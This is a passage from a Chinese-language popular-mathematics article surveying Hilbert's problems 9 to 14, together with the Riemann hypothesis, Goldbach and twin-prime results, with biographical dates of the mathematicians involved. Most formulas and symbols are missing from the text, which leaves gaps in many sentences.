函数的这些性质是从它的表达式中推导出来的，但是，我没有能够成功地简化到足以让它发表。” 黎曼研究 - 函数及其零点的最初动机是它们出现在他关于 的显式公式中，这里 表示小于或等于给定数 的素数个数。素数围绕其预期位置的振荡幅度由 - 函数零点的实部控制。 冯・科赫（Niels Fabian Helge von Koch, 1870-1924）在 1901 年证明了黎曼假设蕴含了素数定理中误差的最佳可能上界： 他最著名的工作是分形几何里的科赫雪花（Koch snowflake）。 黎曼 - 函数可以推广到狄利克雷 - 级数，此时的黎曼假设变得非常重要 —— 它被称为广义黎曼假设（generalized Riemann hypothesis）。广义黎曼假设将假设推广到代数数域上的所有戴德金 - 函数（如果它是有理数的阿贝尔扩张，则成为一般化的黎曼假设）。 大黎曼假设（Grand Riemann hypothesis）—— 黎曼假设和广义黎曼假设的推广 —— 将黎曼假设推广到所有自守 - 函数，例如赫克（Hecke）特征型的梅林（Mellin）变换。 1924，阿廷（Emil Artin）引入了（二次）函数域上的全局 - 函数并猜测类似的黎曼假设 —— 亏格为 1 时由海塞证明而一般亏格则由外尔在 1948 年证明。大小为 （ 为奇数）的有限域上的二次特征的高斯和的绝对值为 ，这一事实实际上是函数域上的黎曼假设的一个特例。 1949 年，外尔对所有代数簇都做了类似的猜想，最后由德利涅（Pierre René, Viscount Deligne, 1944- ）在 1974 年给出证明。 对黎曼度量的拉普拉斯算子的特征值序列，我们可以类似地定义 - 函数。基于梅林变换的想法，这个函数与热核的迹的性态有关。可以证明 - 函数是定义在复平面之上的。外尔是首位使用热核性态来推导拉普拉斯算子特征值的渐近行为。 拉普拉斯算子可以作用在 - 次微分形式上，因此对每个 得到不同的 - 函数。这些 - 函数在 处的导数给出了关于 - 次微分形式的拉普拉斯算子行列式的对数的定 这些 - 函数在特定点的值的适当组合会给出流形的拓扑不变量，一个很好的例子是雷 - 辛格不变量（Ray-Singer invariant）。这些不变量来自阿蒂亚 - 辛格指标公式（Atiyah-Singer index formula）。 如果能找到所有可以通过此类 - 函数定义的拓扑不变量，那就再好不过了。 圆的 - 函数是标准的黎曼 - 函数。紧对称空间的 - 函数的性态与经典的 - 函数性态非常相似。 对局部对称空间，有塞尔伯格 - 函数（Selberg -function）。它们具有函数方程，以及用闭测地线长度表示的欧拉乘积。对带庞加莱度量的黎曼面，塞尔伯格（Atle Selberg, 1917-2007）证明了类似的黎曼假设。 这里有一个非常重要的猜想 —— 塞尔伯格猜想，即如果黎曼面由算术群定义，那么其第一个特征值不小于 。他本人在 1965 年证明了不小于 。 一个重要的问题是，对凯勒 - 爱因斯坦度量定义的 - 函数，是否也有相应的函数方程和黎曼假设？进一步，对一般的爱因斯坦流形，甚至对称空间或球面里的极小子流形，是否也有类似的性质？ 这些 - 函数可能具有某些算术意义，如果是这样的话，代数结构的形变（deformation）或许会给出有趣的算术结构的形变。 希尔伯特对素数分布很感兴趣，他考虑了哥德巴赫猜想（Goldbach conjecture）和孪生素数猜想（twin prime conjecture）。 1742 年 6 月 7 日，普鲁士数学家哥德巴赫（Christian Goldbach, 1690-1764）在给欧拉的一封信中提出了哥德巴赫猜想：每个大于 2 的整数都是三个素数之和（当时哥德巴赫遵循了现已放弃的惯例，即将 1 视为质数）。哥德巴赫原始猜想的现代陈述：每个大于 5 的整数都是三个素数之和。 欧拉在 1742 年 6 月 30 日的回信中，提醒哥德巴赫他们之前的一次谈话。哥德巴赫在那次谈话中猜测：每个正偶数都可以写成两个素数之和。哥德巴赫这个猜想的现代陈述：每个大于 2 的偶数都可以写成两个素数之和。 欧拉在回信中说到：“我认为这是一个完全正确的定理，尽管我无法证明它。” 1924 年，哈代（Godfrey Harold Hardy, 1877-1947）和利特伍德（John Edensor Littlewood, 1885-1977）在广义黎曼假设成立的前提下，证明了不满足哥德巴赫猜想的 以内的偶数的个数远小于 ，这里 是一个很小的数。 换句话说，在广义黎曼假设成立的前提下，哈代和利特伍德证明了几乎每一个充分大的偶数都能表示成两个素数之和。 维诺格拉多夫（Ivan Matveevich Vinogradov，1891-1983）在 1934 年引入了线性素变数三角和的概念，证明了三素数定理，即每个充分大的奇数都可以写成三个素数之和。 使用维诺格拉多夫的方法，丘达科夫（Nikolai Grigor'evich Chudakov，1904-1986）在 1937 年、范德科普特（Johannes Gaultherus van der Corput，1890-1975）在 1938 年和埃斯特曼（Theodor Estermann，1902-1991）在 1938 年，分别独立证明了几乎所有的偶数都可以写成两个素数之和。 1930 年，施尼尔曼（Lev Genrikhovich Schnirelmann, 1905-1938）证明了任何大于 1 的自然数都可以写成不超过 个素数之和，其中 是一个有效的可计算常数。他本人得到了 。 1966 年，陈景润（1933-1996）证明了每个充分大的偶数都可表示为 或 ，这里 、 和 都是素数。 结果以题为《大偶数表为一个素数及一个不超过二个素数的乘积之和》（On the representation of a large even integer as the sum of a prime and the product of at most two primes）发表在 1966 年的《科学通报》（英文版）上。 详细证明以相同标题发表在 1973 年的《中国科学》上。 哥德巴赫分拆函数（Goldbach partition function） 是将每个偶数 与它可以表示为两个素数之和的方式个数相关联的函数，即 这里 是全体素数集。比如 ， 。 的图形看起来像一颗彗星，因此被称为哥德巴赫彗星（Goldbach's comet）。 希尔伯特也很关注孪生素数猜想（twin prime conjecture）。1849 年，德・波利尼亚克（Alphonse de Polignac，1826-1863）试问是否对每个正偶数 ，都存在无穷多个素数对 使得 。 的情形称为孪生素数猜想。 哈代 - 利特伍德猜想（Hardy-Littlewood conjecture，1923）是孪生素数猜想的加强版，它提出了类似于素数定理的孪生素数分布定律。 令 表示满足如下条件的素数 的个数： 也是素数 同时引入孪生素数常数 哈代和利特伍德猜测 1940 年，埃尔德什（Paul Erdős，1913-1996）证明了存在常数 和无穷多个素数 使得 这里 是 之后的下一个素数。1986 年，迈尔（Helmut Maier，1953-）证明了上述常数 可取 。2004 年，戈德斯顿（Daniel Alan Goldston，1954-）和耶尔迪里姆（Cem Yalçın Yıldırım，1961-）进一步把常数改进为 。 2005 年，戈德斯顿、平茨（János Pintz, 1950-）和耶尔迪里姆证明了 可取任意小。 如果假设埃利奥特（Peter D. T. A. Elliott, 1941-）- 哈伯斯塔姆（Heini Halberstam, 1926-2014）猜想（Elliott–Halberstam conjecture）成立， 他们证明了存在无穷多个 使得 、 、 、 、 、 、 中至少有两个是素数。 这样在 2013 年 4 月，张益唐（1955-）能够证明存在无穷多个素数对 使得 由陶哲轩（Terence Chi-Shen Tao, 1975-）发起的 Polymath Project，经过众人的努力，把上述上界改进到 246。不久之后，梅纳德（James Alexander Maynard, 1987-）给出了不同的方法来改进张益唐的结果。 9、任意数域中最一般互反律的证明在任意数域上，当 表示奇素数时，以及当 是 2 的幂或奇素数的幂时，证明 次幂剩余的互反律。 我相信，这个定律以及证明它所必需的方法，将通过适当地推广我所发展的第 次单位根域理论（1897）和相对二次域理论（1898）而得到。 评论： 希尔伯特要求在一般代数数域中找到 阶范数剩余（norm residues）的最一般互反律，其中 是素数的幂。 互反律的想法可追溯到高斯（Johann Carl Friedrich Gauss, 1777-1855），他给出了许多不同的证明。紧随其后的是爱森斯坦（Ferdinand Gotthold Max Eisenstein, 1823-1852）和库默尔（Ernst Eduard Kummer, 1810-1893）。 令 是代数域里的整环。如果 是 里的奇素理想（即它的剩余域的特征是奇的），那么勒让德符号（Legendre symbol） 定义为： 若 可解且 ，定义 ； 若 ，定义 ； 若 不可解，定义 ； 这些 共轭是剩余域 里的方程。因为剩余域的乘法群 是偶数阶的循环群， 可以写成函数 ，这里 是 上的函数，在零处消失，且是唯一的 2 阶特征。从中我们可以得到 因此作为 的函数，对固定的 ， 容易描述。 对偶问题：固定 ，但改变 ，寻找此时的二次互反律。 当 是标准的整数环时，高斯证明了欧拉的猜想 —— 即经典的二次互反律（quadratic reciprocity law）： 这就证明了 仅依赖于 的剩余类。 希尔伯特重新解释了这个互反律，同时将它推广到一般的代数域 上。为了重新解释，希尔伯特引入了范数剩余符号，称为希尔伯特符号（Hilbert symbol）： 如果在里有解 这里 是域 在 处的完备化；其余情况则定义为 。 希尔伯特符号对所有 里的素数 都有定义，同时对使得 为实数域或复数域的无穷多个素数 亦可以定义。 希尔伯特证明了 1、对固定的 ，符号 关于 是对称的和双乘积的： 2、若 是奇数且 是 里不被 整除的整数，则 这里 是 出现在 的素分解中的指数。 3、对固定的 和 ， 根据性质 2 和 3，得到 这里 都是素数。 在十九世纪期间，某些特殊的 阶幂互反律（ -th power reciprocity law）被发现，这里 。 假设 包含 阶单位根的主根（primitive root）。对不被 整除的素理想 ，由 阶单位根构成的群 单射地映入 阶循环群 。此时我们定义在 处的 - 阶幂剩余符号（ -th power residue symbol） 当 是三次或四次单位根的域时，此时的经典三次或四次互反律可以用 来表示，这里 分别对应 或 。 对任意数域 和 ，希尔伯特想证明此时 - 阶幂剩余的互反律。 基于希尔伯特和韦伯（Weber）的工作，高木贞治（Teiji Takagi, 1875-1960）建立了数域的阿贝尔扩张的一般理论 —— 类域论（class field theory）。 对每个数域 ，都存在与之对应的伊代尔类群（idèle class group） ：定义为 的完备化 的乘法群的限制乘积与 的乘法群的商。 的每个有限素理想 确定了 的子集 ，称为 的类。 是 里均匀子（uniformizer）在 里的像集。 如果 是 的有限扩张，那么存在范数同态映射 使得映射 是 有限阿贝尔扩张 到 有限指标开子群 间的双射。 对每个 里的有限素理想 ， 在 中的分解方式完全取决于 里的像类 。高木贞治证明了阿贝尔群 和 是同构的。 希尔伯特问题被阿廷（Emil Artin, 1898-1962）部分地解决了，通过证明由他所引入的新的 级数是通常 级数的推广，他建立了阿廷互反律，该互反律处理了代数数域的阿贝尔扩展。 通常的 级数定义为 这里 。 阿廷引入了他的 级数： 这里 是 上伽罗瓦群的表示。 为确立他的 级数是通常的推广，阿廷需要互反律。他需要典则同构映射（这使得高木贞治的工作更加泛函化）： 对每个 的有限素理想 ，映射把 映到 “弗罗贝尼乌斯替换” 集合 。 当 阶单位根位于 中且 时， 本质上是 阶幂剩余符号 。阿廷的定理蕴含了对固定 ，值 仅依赖于 的类 。把这个依赖性显式地表达出来就得到了所有已知的互反律。 因此，这个可以视为任意域上的一般互反律。所以，高木贞治和阿廷完成了类域论的分类。 不久，海塞（Helmut Hasse, 1898-1979）推广了希尔伯特的范数剩余符号 到 ，这里 阶单位根在 里。 在 1930 年初期，海塞 - 布劳尔和诺特确定了数域上的布劳尔群和中心单代数的结构。 二战前，谢瓦利（Claude Chevalley, 1909-1984）引入伊代尔（idèle）和伊代尔类（idèle class），使公式更紧凑同时厘清了类域论的局部 - 全局方面。 二战后，霍克希尔德（Gerhard Paul Hochschild, 1915-2010）、中山正（Tadashi Nakayama, 1912-1964）和外尔把群上同调理论引入到类域论里。 泰特（John Torrence Tate, 1925-2019）证明了由基本类（fundamental class）定义的上积（cup product）给出了同构 这里 是任意有限伽罗瓦扩张 的伽罗瓦群。 对有限群来说，上同调群就是这些。同调群可解释为负维数的上同调群： 当 ，这就是互反律。这里 指的是上一页里的同构： 其中 解释为 的阿贝尔化（abelianization），而 （在泰特意义下）等于 。 原因是 包含不动元素（mod 范数），而当 是交换群时， 。 中山正和泰特发现了无限伽罗瓦群的上同调的一般对偶定理，例如素数集未分歧外的最大代数扩张的上同调。 阿坦（Michael Artin）和马祖尔（Barry Charles Mazur, 1937-）在意大利上同调中重新解释和推广了这些结果。 沙法列维奇（Igor Rostislavovich Shafarevich, 1923-2017）在 1948-1950 年发现了范数剩余的某些显式公式。 阿廷和其他人关于类域论的工作只处理了阿贝尔扩张情形，对非阿贝尔扩张，希尔伯特第 9 问题的解有几种有争议的解释，其中一种非常值得注意的解释是朗兰兹互反性（Langland’s reciprocity），即伽罗瓦表示和自同构表示之间的猜想关系（其中一个例子导致了怀尔斯关于费马最后定理的证明）。 1960 年代，代数理论 理论得到了发展。人们发现范数剩余符号满足一些形式恒等式： 斯坦伯格（Robert Steinberg, 1922-2014）研究了代数群的中心扩张。他考虑了两个非零变量在任意域中的所有函数，且函数值位于满足上述恒等式的阿贝尔群中。该函数称为斯坦伯格循环（Steinberg cocyle）。 米尔诺（John Willard Milnor, 1931-）为每一个带单位的结合环 定义了阿贝尔群 ，他将斯坦伯格的结果解释为当 是可交换时，群 由满足上述关系的 中的元素 所构成的元素对 所生成。 松本（Kohji Matsumoto）随后证明这些关系足以对每个域 定义 。 假设 是数域 在素理想 处的完备化，令 是 里单位根构成的群。除去 为 的情形外，群 是有限的且阶为 。摩尔（C. Moore）证明了 上最一般的连续斯坦伯格循环是范数剩余符号 ，且找到了正合列： 非复 映射 是由符号 诱导出来。 当 是 里的整环时，加兰（Howard Garland, 1937-）证明了此时的核（kernel）是有限的。随后，吉兰（Guillen）发展了高 群（higher group），使得他可以证明一般的有限性定理。 因此，我们看到互反律、上同调理论和代数 理论之间存在着深刻的联系。 然而，域的非阿贝尔扩张尚未得到充分研究，我们需要研究非阿贝尔 级数。 阿坦猜测，除了 处的极点外，这些函数在整个 平面上都是全纯的。 阿坦证明它们满足函数方程并且每个函数的幂都是亚纯的，而布劳尔在 1940 年初证明了它们是亚纯的。 1967 年，朗兰兹（Robert Phelan Langlands, 1936-）在研究一般可约群上自守型的解析理论时，发现阿廷 级数与爱森斯坦级数理论中产生的一些欧拉积之间的形式关系。这让他做出了一般的推测。 The Main Diagram of the Langlands Program[Langlands 1967] proposed a generalization of this picture: Algebraic Geometry → Motives Harmonic Analysis / Representation Theory → Automorphic Rep'n Number Theory → Galois Rep'n All related via L-functions 10、丢番图方程可解性的判定给定一个具有任意多个未知量和系数为有理整数的丢番图方程：设计一个方法，根据该方法，可以通过有限次数的运算来判定该方程是否可以存在有理整数解。 评论： 希尔伯特试图寻找一种算法来测试多项式丢番图方程的整数可解性。通过罗宾逊（Julia Hall Bowman Robinson, 1919-1985）、戴维斯（Martin David Davis, 1928-2023）、普特南（Hilary Whitehall Putnam, 1926-2016）和拉宾（Michael Oser Rabin, 1931-）的努力，算法理论（也称为递归理论（recursion theory）或可计算性理论（computability theory））在 1930 年代到 1960 年代得到了广泛的发展。 最终导致马蒂亚塞维奇（Yuri Vladimirovich Matiyasevich, 1947-）在 1970 年给出了解决方案：找不到此类算法。主要结果是，丢番图集正是那些可以通过某些确定的算法而列出的集。 如果 是所有变量均具有整系数的多项式，我们可以把丢番图方程 视为由 元组自然数 所构成的集合 ，使得对 中的每个 ，都存在 满足 。 任意给定的集合称为丢番图的，如果它等于某个这样的 。 如果 是由 所定义的 元组自然数所构成的集合，我们可以建立以下过程来构建 中的成员列表： 固定所有 元组 确定的枚举，按顺序通过 元自然数组，计算每个 元自然数组对应的多项式值 ；如果 ，将 元组 放入列表中，因此 中的成员，且仅是 中的成员，将被放入列表中。 元自然数组的集合 称为可列表的（listable）或递归可枚举的（recursively enumerable），如果有一个明确定义的算法来精确地列出 中的成员。当然，在任意有限步骤中只能将 的有限多个成员放入列表中。然而，至关重要的是，每个成员最终都会被放入列表中，并且任何非成员都不会被列入名单。 因此我们证明了，每个丢番图集合都是可列表的。 丢番图集合理论的主要结果最终由马蒂亚塞维奇证明： 每个可列表的集合都是丢番图的。 主要定理是：存在一个过程，使得对任何一个能够列出一个 元自然数组的集合 的算法 ，我们可以将该过程应用到 从而得到一个具有整系数的多项式 ，使得 有自然数解当且仅当 在 中。 一个自然数集 称为可计算的（computable），如果有一个算法可以在有限步骤内确定任意自然数是否属于 。 一个重要的定理是，存在一个可列表的，但不可计算的自然数集 。 由于 是可列表的，因此它是丢番图的。令 是 的丢番图定义。这意味着，对于给定的自然数 ，当且仅当 属于 时， 存在自然数解 。 那么对于丢番图方程 ，因为它所对应的集合 是不可计算的，所以不可能存在一个算法来判定 是否有解。从而希尔伯特第 10 问题的答案是不存在这样的算法。 11、系数为任意代数数的二次型我们目前对二次数域理论的了解使我们能够成功地攻克具有任意多个变量和系数为任何代数数的二次型理论。这特别引出了一个有趣的问题：通过属于由系数确定的代数有理域的整数或分数求解给定的二次方程，该方程具有任意多个变量且系数为代数数。 评论： 用现今的术语来表述，希尔伯特是想分类代数数域上的二次型。他受到了闵可夫斯基（Hermann Minkowski，1864-1909）早期工作的启发，闵可夫斯基在写给胡尔维茨的信中展示了如何使用十九世纪末已知的有理整数环上的二次型理论来对有理数域上的二次型进行分类。 希尔伯特想研究带代数数值系数（algebraic numerical coefficients）的二次型。 事实上，域上的二次型等价于对角型（diagonal form），但是这个等价性对整环（比如整数环）上的二次型却不成立。然而，埃尔米特（Charles Hermite，1822-1901）证明了对整数环上的正定二次型，如果其判别式（discriminant）为 1 且维数 小于 7，那么必是平凡的二次型，即 西尔韦斯特（James Joseph Sylvester，1814-1897）证明了实数域上的任何二次型等价于 这里 和 都是唯一确定的。 有限域 上的任何二次型都等价于 不变量的完备集由其判别式和维数所决定。 重大突破出现在 1923-1924 年，当时海塞（Helmut Hasse，1898-1979）发表了五篇论文，建立了独立于整数环上复杂理论的有理数域上的二次型理论。 海塞大量使用了他导师亨塞尔（Kurt Wilhelm Sebastian Hensel，1861-1941）的 - 进数法，给出了自己对有理数域上表示和分类问题的答案，然后推广到任意的代数数域上。 海塞原理可以用海塞 - 闵可夫斯基定理来阐述，后者是说两个二次型在 上等价当且仅当对所有 这两个二次型在 上等价 —— 这里 取遍所有素数以及 。 当 时， ，此时我们可以应用西尔韦斯特定理。 当 有限时，二次型等价于对角型 存在一个称为海塞符号（Hasse symbol） 的不变量： 这里 表示希尔伯特符号（Hilbert symbol）： 在有解其它 这个想法已经推广到了代数数域上，以及 的有限扩张（这里 是有限域， 在 上超越的）。 1932 年，布劳尔（Richard Dagobert Brauer，1901-1977）、海塞和诺特（Amalie Emmy Noether，1882-1935）也将其推广到了中心单代数（central simple algebra）。 但是海塞原理在整数环上不成立。 以下重要问题可能成为代数和函数论的桥梁。 12、阿贝尔域上的克罗内克定理在任意代数有理域上的推广每个阿贝尔域都是通过单位根域的合成而从有理数域产生的，这个定理要归功于克罗内克。整数方程理论中的这个基本定理包含两个陈述，即： 第一，它回答了关于那些方程的数量和存在性的问题，这些方程在有理数域里具有给定的次数、给定的阿贝尔群和给定的判别式。 第二，它指出这种方程的根形成了一个代数数域，它与通过依次将全部有理数值赋予指数函数 中的参数 而得到的域相吻合。 第一个陈述是关于由它们的群和分支确定某些代数数的问题。因此，这个问题相当于确定对应于给定黎曼面的代数函数的已知问题。第二个陈述通过超越方法，即通过指数函数 ，提供所需的数。 由于虚二次数域是仅次于有理数域外最简单的域，因此问题出现了，将克罗内克定理推广到这种情形。克罗内克本人断言，二次域中的阿贝尔方程是由具有奇异模的椭圆函数的变换方程给出的，因此椭圆函数在这里扮演着和前一种情形下的指数函数相同的角色。克罗内克猜想的证明尚未给出；但我相信，根据韦伯（H.Weber）发展起来的复乘理论（在我所建立的关于类域的纯算术定理的帮助下），它一定是可以毫不费力地获得的。 最后，在我看来，将克罗内克定理推广到以下情形是最重要的：用任意代数域（凡是被规定为有理的域）来代替有理数域或虚二次域。我认为这个问题是数论和函数论中最深刻、影响最深远的问题之一。 从许多角度来看，这个问题是可以解决的。就这个问题的算术部分来说，我认为最重要的关键是任何给定数域中 次幂剩余的一般互反律。 可以看出，在刚才概述的问题中，数学的三个基本分支，即数论、代数和函数论，彼此之间有着最密切的联系，而且我敢肯定，如果人们能够成功地找到并讨论那些函数，它们在任何代数数域中起的作用，就和指数函数在有理数域及椭圆模函数在虚二次域中所起的作用一样，那么特别是多变量的解析函数理论将会得到显著的丰富。 说到代数，我要提一下方程论中的一个问题，代数不变量理论把我引向了这个问题。 评论： 希尔伯特问是否能够推广克罗内克 - 韦伯定理（ 的所有阿贝尔扩张都可以由单位根所生成）以及虚二次域的所有阿贝尔扩张都可以由与具有复乘的椭圆曲线相关的模函数和椭圆函数的值生成这两个事实，得到对任意的数域的某种生成其全部阿贝尔扩张的方法。 克罗内克 - 韦伯定理是说， 上的函数 生成了 上的所有阿贝尔扩张。 对虚二次域 ，希尔伯特认为 的所有阿贝尔扩张都可以通过单位根和奇异值 所生成。 众所周知，这是错误的！我们需要更多的函数，例如，值 ，这里 和 是有理数。 瑞士数学家富特（Karl Rudolf Fueter, 1880-1950）就这个问题撰写了他的博士论文。1914 年，他发现了希尔伯特断言的反例：对 ，域 不能由奇异模和单位根所生成。 对这个域 ，高木贞治（Teiji Takagi, 1875-1960）证明了 的所有阿贝尔扩张都包含在由双扭线椭圆函数（lemniscatic elliptic function）—— 本质上是与椭圆曲线 相关的魏尔斯特拉斯 函数 —— 的除法值生成的 扩张中。 希尔伯特第 12 问题导致了众多问题发展： 阿廷（Emil Artin）指导下的论文（Heinz Söhngen, 1935）， 志村五郎（Gorō Shimura, 1930-2019）对希尔伯特模形式的奇异值的互反律； 受海格纳（Kurt Heegner, 1893-1965）的思想影响和由伯奇（Bryan John Birch, 1931-）发展的丢番图问题。 希尔伯特在第 12 个问题中强调了超越函数的（特殊）值来生成虚二次域的类域这一现象，同时指出对任意数域都应存在类似的超越函数 [注：一般情形目前仍是猜想]。 克罗内克 - 韦伯定理是指， 的每个有限阿贝尔扩张都可以写成 ， 在 上的伽罗瓦群是 的乘法群。 所有代数数构成域 ，其在 上的伽罗瓦群是一个非常重要的群。在数论里，寻找 的有限维表示是很重要的。 一般的，对所有正整数 ，存在数域 （ 的有限扩张）的域扩张 ，称为前导子为 的窄射线类域（narrow ray class field of conductor ），使得 是 的子域，如果 ； 同构于 的皮卡群，这里 是 的整数环。 的阿贝尔扩张是所有 的并，且 的阿贝尔扩张在 上的伽罗瓦群是 的逆极限（inverse limit）。 利用仅依赖于基域的解析函数，显式类域论的目标是构造的阿贝尔扩张。比如对 ，我们利用函数 。 对虚二次域 ，这里是正整数，有如下定理： ，这里 是由 里的整数给出复乘法的椭圆曲线， 是韦伯函数，而 是模函数 在 1971-1980 年之间，斯塔克（Harold Mead Stark, 1939- ）提出了一系列猜想：在 里存在某些元素，其值和 - 函数有关。 1981 年，泰特（John Torrence Tate, 1925-2019）精确化了斯塔克猜想，即布鲁默 - 斯塔克猜想（Brumer-stark conjecture）。 同年，格罗斯（Benedict Hyman Gross）利用 - 进 - 函数精细化了这个猜想，提出了格罗斯 - 斯塔克猜想（Gross-Stark conjecture）。 鲁宾（Karl Cooper Rubin, 1956- ）（1996）、伯恩斯（David Burns）（2007）以及波佩斯库（Cristian Dumitru Popescu, 1964- ）（2011）的工作把斯塔克猜想的高秩版本更加精确化。 令 是全实数域（totally real number field），即 到 内的每个嵌入映射的像都包含在 内。 布鲁默 - 斯塔克猜想预测了 里存在一些元素，称为布鲁默 - 斯塔克单位，以特定的方式和 的 - 函数相关。 格罗斯 - 斯塔克猜想预测了上述这些单位，以特定的方式和 的 - 进 - 函数相关。 对这些单位，达蒙（Henri Rene Darmon, 1965- ）、史皮斯（Michael Spiess）、格林伯格（Matthew Greenberg）、夏洛瓦（Pierre Charollois）和达斯古普塔（Samit Dasgupta）猜测了一个精确公式。 达蒙、达斯古普塔、卡克德（Mahesh Ramesh Kakde, 1983- ）、波拉克（Robert Pollack）和文图洛（Kevin Ventullo）一起证明了格罗斯 - 斯塔克猜想。 2022 年，达斯古普塔和卡克德解决了布鲁默 - 斯塔克猜想（除了 2 之外的情形）。 2023 年 10 月，达斯古普塔、卡克德、西利曼（Jesse Silliman）和王玖娅（音译，Jiuya Wang）完全证明了布鲁默 - 斯塔克猜想（arXiv: 2310.16399）。 就像朗兰兹本人所解释的那样，朗兰兹纲领（Langlands program）是希尔伯特想法极其雄心勃勃的延续，把类域论、椭圆曲线或阿贝尔簇的代数理论以及自守理论联系起来。 第一个主要贡献要归功于志村五郎，他深入研究了与代数群密切相关的志村簇（Shimura variety）。人们预期，志村簇的 - 函数可由定义该簇的群和某些相关群上的自守形式的 - 函数来表示。对某些志村簇，主要是对曲线，志村五郎验证了这一预期。 虽然互反律有不同的表示，但是它们都隐藏在类域论定律里。比如，人们可以看到如下的一个定理：作为互反律，它断言由丢番图数据定义的（即由数域上的抽象簇定义的） - 函数，等同于由解析数据定义的（即由自守形式定义的） - 函数。阿廷互反律就是这样的一个断言，志村五郎的结论也是这种形式。 朗兰兹认为在类似的方式下，志村簇上也有互反律。 13、仅有两个自变量的函数求解一般七次方程之不可能性列线图解法处理了这个问题：通过绘制依赖于任意参数的曲线族来求解方程。由此可见，系数只依赖于两个参数（即两个自变量的函数）的方程的每个根，都可以根据列线图解法的原理，以多种方式表示。此外，一大类由三个或更多自变量的函数显然可以单独用这个原理来表示，而不使用变量元。即所有这样的函数，首先可由一个两变量的函数生成，然后将这些变量中的每一个变量等同于新的两变量的函数，然后依次用两个变量的函数来替换每个变量，依此类推，在这里插入任意有限个两变量的函数被视为是可接受的。因此，举例来说，任意多变量的每个有理函数都属于由列线图解法构造的这一类函数；因为它可以通过加、减、乘、除运算而产生，而这些运算中的每一个只产生两个变量的函数。 人们很容易看出，在通常的有理域中，所有可由根式求解的方程的根都属于这一类函数；因为此时，根的求解与算术四则运算和开方是相辅相成的，这实际上只提出了一个变量的函数。 同样，一般的五次和六次方程也可以用合适的列线图解法来求解；因为，通过只需要开平方的契恩霍森（Tschirnhausen）变换，它们可以简化为系数仅依赖于两个变量的形式。 现在，七次方程的根很可能是其系数的函数，它不属于能够用列线图解法构造的这一类函数，也就是说，它不能通过有限次的插入两个变量的函数来构造。为了证明这一点，证明七次方程 不能借助任何只有两个变量的连续函数求解。我可以补充一点，我已经给出了一个使自己感到满意的严格证明，即存在三个变量 、、 的解析函数，它不能通过只有两个变量的有限长函数链而得到。 通过使用辅助的可移动元素，列线图解法成功地构造了两个以上变量的函数，正如多卡涅（d'Ocagne）最近在七次方程中证明的那样（1897）。 评论： 问题可表述为：存在三变量的连续函数，它不能表示成双变量的连续函数。 我们在这里考虑 “函数的函数”，比如， 是单变量和双变量函数的叠加（superposition）。 有时我们考虑关于变量函数线性的叠加，比如， 这里 和 都是固定的函数。 1957 年，柯尔莫戈洛夫（Andrey Nikolaevich Kolmogorov, 1903-1987）证明了如下定理：存在定义在区间 上固定的连续递增函数列 ，使得定义在 上的连续函数 可写成 其中 是某些特定选择的单变量连续函数。 1962 年，洛伦茨（George Gunter Lorentz, 1910-2006）证明了定理中的 可被单个函数 所代替。 1964 年，斯普雷彻（David Sprecher）证明了定理中的 可替换成 ，其中 是常数。从几何角度看，柯尔莫戈洛夫定理可表示为：存在嵌入映射 ，在像集 上，每个连续函数 可取如下特殊形式 这里的映射 如下定义： 当我们要求函数是连续可微时，定理相当复杂，这方面可参考维图什金（Anatolij Georgijevič Vituškin）和他助手亨金（Henkin）的工作。 芒福德（David Bryant Mumford, 1937-）提出了这个问题的代数版本：取 的代数闭包 ，这里 是代数闭域。对每个正整数 ，我们定义 的子域 为由 变量的代数函数经过逐次复合而成的 中元素的全体。更准确的说，对 ，令 在中的代数闭包 定义 若 已定义，则令 所有 的复合，这里任取 最后定义 问：是否对某个 成立 ？ 14、某类完全函数系的有限性的证明在代数不变量理论中，在我看来，关于形式的完全系的有限性问题值得特别关注。莫勒（L. Maurer）最近成功地将哥尔丹（P. Gordan）和我证明的不变量理论中的有限性定理推广到了这样一种情形，即选择任意子群作为不变量定义的基础，而不是一般射影群。 赫尔维茨已经朝着这个方向迈出了重要的一步，他通过一个巧妙的方法，成功地证明了任意基形式的正交不变量系的有限性。 对不变量有限性问题的研究使我得出了一个简单的问题，它把原来问题作为一个特殊情形包括在内，而要解决这个问题，可能需要对消元法理论和克罗内克的代数模系进行比目前更详细的研究。 假设给定 个带有 个变量 的有理整函数 ： 的每个有理整组合，在代入上述表达式之后，显然总是成为 的有理整函数。然而， 的有理分式函数很可能通过（S）的运算后，成为 的整函数。 的有理函数通过（S）成为 的整函数，我建议把这个整函数称为 的相对整函数。 的每个整函数显然也是相对整的；此外，相对整函数的和、差和积本身是相对整的。 由此产生的问题是，现在要确定是否总是有可能找到一个 的相对整函数的有限系，通过这个有限系， 的所有其他相对整函数都可以有理地和整地表示。 如果我们引入有限整域的概念，我们可以更简单地表述这个问题。我所说的有限整域是指一个函数系，可以从中选择有限多个函数，根据这些函数，函数系的所有其他函数都可以有理地和整地表达。因此，我们的问题就是：证明任何给定有理域上所有相对整函数总是构成一个有限的整域。 我们自然也想到，通过从数论中得出的限制来细化问题，假设给定函数 的系数是整数，在 的相对整函数中仅有 的有理函数，通过代入（S）后为 的具有有理整系数有理整函数。 以下是这个精炼问题的一个简单特殊情形：设 是 个带有理整系数的关于变量 的有理整函数，并给定一个素数 。考虑关于变量 的那些有理整函数系，它可以用以下形式表示： 这里 是变量 的有理整函数， 是素数 的任意次幂。我早期研究立即表明，固定某个指数 的所有此类表达式都构成了一个有限整域。但这里的问题是，是否对所有指数 都同样如此，也就是说，是否可以选择有限多个的此类表达式，通过这种表达式，对于每个指数 ，该形式的所有其他表达式都是可整和有理表达的。 在代数和几何之间的边缘，我将提两个问题。一个涉及计数几何，另一个涉及代数曲线和曲面的拓扑。 评论： 令 是域， 是 上 变量有理函数的子域 ，注意到 是 上的有限生成域。 问环 是否是 上有限生成的？ 假设 ， 线性作用在 上，且假设 是 - 不变有理函数域。则 是 - 不变多项式环，同时希尔伯特证明了它是有限生成的。 该问题开启了芒福德（David Bryant Mumford, 1937- ）的几何不变理论（geometric invariant theory）—— 代数几何中模问题发展的关键。 芒福德提出的稳定性概念在解决几何分析里的非线性问题上非常成功。 一般来说，希尔伯特第 14 问题的答案是否定的，第一个反例是永田雅宜（Masayoshi Nagata，1927-2008）在 1959 年给出的。 永田雅宜构造的具体反例如下：假设 是素域（prime field）上代数独立的 48 个元素，令 是包含这 48 个元素的任意域。令 是 上的 16 维向量空间并令 是和向量 正交的 中的向量所构成的集合。 令 是 上代数独立的元素， 是所有形如 的线性变换组成的集合。因此， 里的 不变子空间不是有限生成的。 这个问题之不成立揭示了簇范畴（category of varieties）中非常重要和深远的微妙之处。寻找希尔伯特第 14 